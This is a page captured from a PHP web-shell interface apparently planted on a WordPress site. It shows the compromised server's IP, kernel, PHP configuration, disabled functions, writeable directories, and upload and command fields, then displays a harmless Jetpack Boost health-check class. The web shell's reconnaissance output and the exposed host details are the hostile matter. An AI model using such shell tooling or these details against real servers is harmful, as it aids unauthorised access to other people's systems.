403Webshell
Server IP : 31.214.179.12  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux hostingsrv123.dondominio.com 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64
User :  ( 801593)
PHP Version : 8.5.13
Disable Function : system,passthru,popen,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,exec,ini_alter,show_source,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,mail,eval
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /hosting/www/tarifatuna.com/public/wp-content/plugins/jetpack-boost-git/app/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /hosting/www/tarifatuna.com/public/wp-content/plugins/jetpack-boost-git/app/lib/Boost_Health.php
<?php

namespace Automattic\Jetpack_Boost\Lib;

use Automattic\Jetpack_Boost\Lib\Critical_CSS\Critical_CSS_State;
use Automattic\Jetpack_Boost\Modules\Optimizations\Cloud_CSS\Cloud_CSS;
use Automattic\Jetpack_Boost\Modules\Optimizations\Critical_CSS\Critical_CSS;
use Automattic\Jetpack_Boost\Modules\Optimizations\Page_Cache\Page_Cache;
use Automattic\Jetpack_Boost\Modules\Optimizations\Page_Cache\Pre_WordPress\Boost_Cache;

/**
 * Class Boost_Health
 *
 * Represents the health of the Jetpack Boost plugin.
 */
class Boost_Health {

	/**
	 * @var array List of issues affecting the health of the plugin.
	 */
	private $issues = array();

	/**
	 * Boost_Health constructor.
	 *
	 * Initializes the Boost_Health object and checks for any health issues.
	 */
	public function __construct() {
		if ( self::critical_css_needs_regeneration() ) {
			$this->issues[] = __( 'Outdated Critical CSS', 'jetpack-boost' );
		}

		if ( self::critical_css_has_errors() ) {
			$this->issues[] = __( 'Failed to generate Critical CSS', 'jetpack-boost' );
		}

		if ( self::cache_engine_not_loading() ) {
			$this->issues[] = __( 'Cache engine is not loading', 'jetpack-boost' );
		}
	}

	/**
	 * Get the total number of issues affecting the health of the plugin.
	 *
	 * @return int Total number of issues.
	 */
	public function get_total_issues() {
		return count( $this->issues );
	}

	/**
	 * Get all the issues affecting the health of the plugin.
	 *
	 * @return array List of issues.
	 */
	public function get_all_issues() {
		return $this->issues;
	}

	private static function is_critical_css_enabled() {
		return ( new Status( Critical_CSS::get_slug() ) )->is_enabled();
	}

	/**
	 * Check if Critical CSS needs regeneration.
	 *
	 * @return bool True if regeneration is needed, false otherwise.
	 */
	public static function critical_css_needs_regeneration() {
		if ( Cloud_CSS::is_available() || ! self::is_critical_css_enabled() ) {
			return false;
		}

		$suggest_regenerate = jetpack_boost_ds_get( 'critical_css_suggest_regenerate' );

		return in_array( $suggest_regenerate, Environment_Change_Detector::get_available_env_change_statuses(), true );
	}

	/**
	 * Check if Critical CSS generation has errors.
	 *
	 * @return bool True if errors are present, false otherwise.
	 */
	public static function critical_css_has_errors() {
		if ( ! self::is_critical_css_enabled() ) {
			return false;
		}
		return ( new Critical_CSS_State() )->has_errors();
	}

	/**
	 * Check if the cache engine is not loading.
	 *
	 * @return bool True if the cache engine is not loading, false otherwise.
	 */
	public static function cache_engine_not_loading() {
		if ( ! ( new Status( Page_Cache::get_slug() ) )->is_enabled() ) {
			return false;
		}

		if ( Boost_Cache::is_loaded() ) {
			return false;
		}

		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit